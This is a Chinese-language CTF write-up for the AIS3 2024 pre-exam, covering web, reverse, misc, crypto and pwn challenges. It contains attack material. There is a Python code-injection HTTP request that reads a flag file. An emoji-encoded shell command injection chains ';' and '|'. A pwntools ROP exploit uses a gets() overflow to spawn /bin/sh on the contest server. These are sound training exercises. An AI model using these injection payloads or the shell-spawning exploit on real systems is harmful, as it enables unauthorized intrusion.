## AIS3 2024 pre-exam
## leaderbroad
### Best score (#39)

### final score (#65)

## web
查看原始碼,發現可能有command injection漏洞

已知flag的位置,我們使用python的open()就可以讀檔案,payload如下:
```python
POST /calculate HTTP/1.1
Host: 127.0.0.1:5000
Content-Length: 87
sec-ch-ua: "Not-A.Brand";v="99", "Chromium";v="124"
sec-ch-ua-platform: "Windows"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://127.0.0.1:5000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:5000/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
{"expression":"open('../flag', 'r').read()"}
```
flag
```
AIS3{7RiANG13_5NAK3_I5_50_3Vi1}
```
## rev
## The Long Print
查看原始碼可以發現有一個sleep()

用ghidra將sleep的值改成0x1試試

並把結果輸出成一個執行檔,並執行,就會慢慢印出flag了

flag
```
AIS3{You_are_the_master_of_time_management!!!!?}
```
## 艾斯[未在時間內解出]
跟上一題一樣,把程式裡的sleep時間改短
看了程式後,發現程式會把輸入的值跟STACK上的值做XOR,

我們可以查看STACK上的值就可以知道他是跟什麼值做XOR
發現`xorstring()`會把輸入的字串拆成一個個字元,再將每一個轉成16禁制後做XOR

我們發現程式會將XOR過後的字串一個一個丟進去做,而且XOR過後的字元ACSII值必須在64-90之間

```
print(hex(0x4b4838434a523341 ^ 0xe0d7d060f177604 ))
print(hex(0x2b465d3a2a552457 ^ 0x6d001b7c6c136211 ))
print(hex(0x5939415440214936 ^ 0x1e7e061307660e71 ))
print(hex(0x5f5c5538312f3c7b ^ 0x17141d7079677433 ))
#OL<GNV7E 0x4f4c3c474e563745 ^ 0x4141414141414141 => 0xe0d7d060f177604
#/BY>.Q S 0x2f42593e2e512053 ^ 0x4242424242424242 => 0x6d001b7c6c136211
#]=EPD%M2 0x5d3d455044254d32 ^ 0x4343434343434343 => 0x1e7e061307660e71
#SPY4=#0w 0x535059343d233077 ^ 0x4444444444444444 => 0x17141d7079677433
# E: KH8CJR3A 0x4b4838434a523341
# F: +F]:*U$W 0x2b465d3a2a552457
# G: Y9AT@!I6 0x5939415440214936
# H: _\U81/<{ 0x5f5c5538312f3c7b
```
# misc
## Quantum Nim Heist
nc進入遊戲

測試幾次發現,如果輸入要拿取的石頭數量為不合理的,程式會告訴你答案不合理,但是AI還是執行一次拿取的動作

一直重複以上動作,讓AI自己拿石頭,直到剩下最後一顆時再換我們拿,我們就勝利了

flag
```
AIS3{Ar3_y0u_a_N1m_ma57er_0r_a_Crypt0_ma57er?}
```
## Three Dimensional Secret
觀察wireshark的封包內容,疑似跟某台機器溝通,並送出許多類似座標的值
```
;FLAVOR:Marlin
;TIME:788
;Filament used: 8.45726m
;Layer height: 10
;MINX:58.496
;MINY:58.537
;MINZ:10
;MAXX:241.742
;MAXY:241.259
;MAXZ:10
;TARGET_MACHINE.NAME:Creality Ender-3 Max
;Generated with Cura_SteamEngine 5.6.0
M140 S60
M105
M190 S60
M104 S200
M105
M109 S200
M82 ;absolute extrusion mode
; Ender 3 Max Custom Start G-code
G92 E0 ; Reset Extruder
G28 ; Home all axes
G1 Z2.0 F3000 ; Move Z Axis up little to prevent scratching of Heat Bed
G1 X0.1 Y20 Z0.3 F5000.0 ; Move to start position
G1 X0.1 Y200.0 Z0.3 F1500.0 E15 ; Draw the first line
G1 X0.4 Y200.0 Z0.3 F5000.0 ; Move to side a little
G1 X0.4 Y20 Z0.3 F1500.0 E30 ; Draw the second line
```
查了一下後發現他的語言用的是`Gcode`,於是用python將所有wireshark封包中的資料寫進一個檔案
```python
import pyshark
import codecs
capture = pyshark.FileCapture('capture.pcapng') #, display_filter="TCP"
f = open("stl.txt", "w")
for packet in capture:
if 'Data' in packet:
result_string = codecs.decode(packet['Data'].Data, 'hex').decode('utf-8')
f.write(result_string)
capture.close()
f.close()
```
最後將檔案裡面的內容丟到線上的Gcode模擬器,flag就出來了
https://nraynaud.github.io/webgcode/

flag
```
AIS3{b4d1y_tun3d_PriN73r}
```
## Emoji Console
我們先使用 `cat *`,會印出app.py的內容,並且我們知道有個目錄叫做/flag
```
#!/usr/local/bin/python3
import os
from flask import Flask,send_file,request,redirect,jsonify,render_template
.......
}cat: flag: Is a directory
cat: templates: Is a directory
```
我假設我們要cd到flag目錄,在使用`cat *`把所有內容印出,所以我們需要用到`;`
題目中含有`;`的表情符號為😜 `"😜": ";P"`,但是這樣terminal會報錯
```
💿 🚩 😜
/bin/sh: 1: p: not found
```
找了一下發現含有有`|` 符號的表情符號 😐 `"😐": ":|"`
`|` 的條件為 左邊的指令執行失敗,才會執行右邊的指令,剛好可以略過上述指令執行的問題
因此我們試了以下payload
```
💿 🚩 😜 😐 🐱 ⭐
```
終端機的內容:
```
#flag-printer.py
print(open('/flag','r').read())
```
目錄裡面有一個python檔,而剛好有一個表情符號為 🐍 `"🐍": "python"` ,因此我們可以執行python檔,payload輸入後就拿到flag了
payload
```
💿 🚩 😜 😐 🐍 ⭐
```
flag
```
AIS3{🫵🪡🉐🤙🤙🤙👉👉🚩👈👈}
```
# crpyto
## babyRSA
看了一下程式發現程式是一個一個字元去做加密的
而使用ord()代表字元的範圍在ASCII table內

我們只要把ACSII table的所有值使用題目給的public key加密後,在去配對他在 `Encrypted` 裡面的位置,並將該文字記下,就可以知道原先加密的內容是甚麼了
```python=
Encrypted = [.......]
Public = (..... , .....)
def encrypt(pk, char):
key, n = pk
cipher = pow(ord(char), key, n)
return cipher
string = ""
lis = list(range(68))
for i in range(0,127):
print(chr(i))
for j in range(0,67):
encrypted_msg = encrypt(Public, chr(i))
if(Encrypted[j] == encrypted_msg):
string += chr(i)
lis[j] = chr(i)
print(string)
print(lis)
s = ''.join(str(x) for x in lis)
print(s)
```
output
```
@)!,*^=AIS3{NeverUseTheCryptographyLibraryImplementedYourSelf}-=1#&67
```
flag
```
AIS3{NeverUseTheCryptographyLibraryImplementedYourSelf}
```
# Pwn
## Mathter
試了一下,發現在計算機輸入`q`會詢問是否退出,如果輸入不為`Y,y`的話則繼續執行程式

從ida查看原始碼,發現剛剛輸入的動作是在`goodbye()`處理的而且用的是gets(),有BOF漏洞
padding為 4 + 8(rbp) = 12

checksec 結果

由於`NO PIE`,可以嘗試用ROP去攻擊,用`ROPgadget`搜尋發現沒有`/bin/sh`,只能自己寫上去

看由於程式都沒有動到`heap`,於是我決定將`/bin/sh`寫到`heap`上,再使用暫存器去存取
用`ROPgadget`搜尋到了以下的gadget
```
pop_rdi = 0x402540
pop_rsi = 0x4126a3
pop_rax = 0x42e3a7
pop_rax_rdx_rbx = 0x47b916
mov_qword_rsi_rax = 0x42f981
syscall = 0x4013ea
ret = 0x401016
heap = 0x4bf000
```
payload 如下
```python
rop_chain = flat([pop_rax, b'/bin/sh\0', pop_rsi, heap, mov_qword_rsi_rax])
rop_chain += flat([pop_rax_rdx_rbx, 0x3b, 0, 0, pop_rdi, heap, pop_rsi, 0, syscall])
```
payload解釋
1. 先將`'/bin/sh\0'`存至 `rax`
2. 將heap的位址存至 `rsi`
3. 透過`mov qword ptr [rsi], rax ; ret`,將rax的內容寫入rsi存的地址,也就是heap
有了`/bin/sh\0`位置後,剩下就好搞定了
```python=
from pwn import *
context.arch = 'amd64'
#nc chals1.ais3.org 50001
#p = process('./mathter')
p = remote('chals1.ais3.org',50001)
p.sendline(b'q')
pop_rdi = 0x402540
pop_rsi = 0x4126a3
pop_rax = 0x42e3a7
pop_rax_rdx_rbx = 0x47b916
mov_qword_rsi_rax = 0x42f981
syscall = 0x4013ea
ret = 0x401016
heap = 0x4bf000
#rdx = 0
#rsi = 0
#mov_qword_rdx_rax = 0x419700
#0x000000000048ad91 : mov dword ptr [rax], edx ; ret
#0x000000000042f981 : mov qword ptr [rsi], rax ; ret
#0x000000000042e3a7 : pop rax ; ret
rop_chain = flat([pop_rax, b'/bin/sh\0', pop_rsi, heap, mov_qword_rsi_rax])
rop_chain += flat([pop_rax_rdx_rbx, 0x3b, 0, 0, pop_rdi, heap, pop_rsi, 0, syscall])
raw_input(">")
p.sendline(b'y'*12 + rop_chain)
p.interactive()
```
flag
```
AIS3{0mg_k4zm4_mu57_b3_k1dd1ng_m3_2e89c9}
```